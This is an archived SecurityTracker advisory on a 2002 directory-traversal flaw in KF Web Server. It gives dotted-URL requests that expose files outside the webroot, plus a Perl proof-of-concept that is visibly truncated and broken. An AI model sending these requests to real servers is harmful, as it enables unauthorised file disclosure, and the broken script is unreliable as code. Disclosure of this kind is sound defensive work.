Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Web Server/CGI)  >   KF Web Server Vendors:   KeyFocus Ltd.
KeyFocus KF Web Server Discloses Files on the System to Remote Users
SecurityTracker Alert ID:  1005620
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 13 2002
Impact:   Disclosure of system information, Disclosure of user information
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 1.x
Description:   An input validation vulnerability was reported in the KF Web Server. A remote user can view certain files on the system that are located outside of the web document directory.

It is reported that KF Web Server does not properly handle URL requests that contain consecutive dot characters ('.') in the file name. The following URLs can be requested to obtain the contents of various directories:

http://kfws/... - Yields the contents of the KF Web Server install directory
http://kfws/.... - Yields the contents of the Program Files directory
http://kfws/..... - Yields the contents of the root directory

According to the report, only files with recognized MIME types can be viewed using this exploit method.

A demonstration exploit script is provided in the Source Message.

Impact:   A remote user can view certain types of files on the system located in certain directories (that are outside of the web document directory).
Solution:   The vendor has released a fixed version (2.0.0 Beta), available at:

Vendor URL: (Links to External Site)
Cause:   Input validation error
Underlying OS:  Windows (Me), Windows (98), Windows (2000), Windows (XP)

Message History:   None.

 Source Message Contents

Subject:  [VulnWatch] KeyFocus KF Web Server File Disclosure Vulnerability

KeyFocus Web server is a Win32 HTTP server with web administration, a
variety of logging formats, such as NCSA and W3C, CGI, compression, memory
caching of static documents, directory indexing, pre-defined MIME settings,
internal authentication with support for multiple realms, and a variety of
URL checks that make it more secure against hacking attempts such as buffer

KFWS 1.x contains a flaw that enables attackers to traverse above the
webroot in the directory structure.  This is not a traditional directory
traversal attack.  KFWS does not properly handle consecutive dot characters
in the file name:

http://kfws/.           - Current Directory
http://kfws/..          - 403 Forbidden
http://kfws/...         - KFWS install dir (OOPS!)
http://kfws/....        - Program Files
http://kfws/.....       - \

This vulnerability is limited by the internal hack defenses of the server
-- only files with recognized MIME types can be retreived.  This
significantly limits the damage from this vulnerability.

KFWS v2.0.0 (Beta) eliminates this vulnerability, and the next stable
version will eliminate the flaw as well.  Administrators who are concerned
about this flaw should upgrade to the beta.

I've included a Perl script to demonstrate this vulnerability:

use URI::Escape;
use IO::Socket;
if (@ARGV < 2) {
print STDOUT "Usage: perl $0 [filename] [host] [port]";
} else {
$f =
$url = uri_escape($ARGV[0]);
$exploit = sprintf("GET /.............../%s HTTP/1.0\r\n\r\n");
print $f $exploit;
undef $f;

mail2web - Check your email from the web at .


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, LLC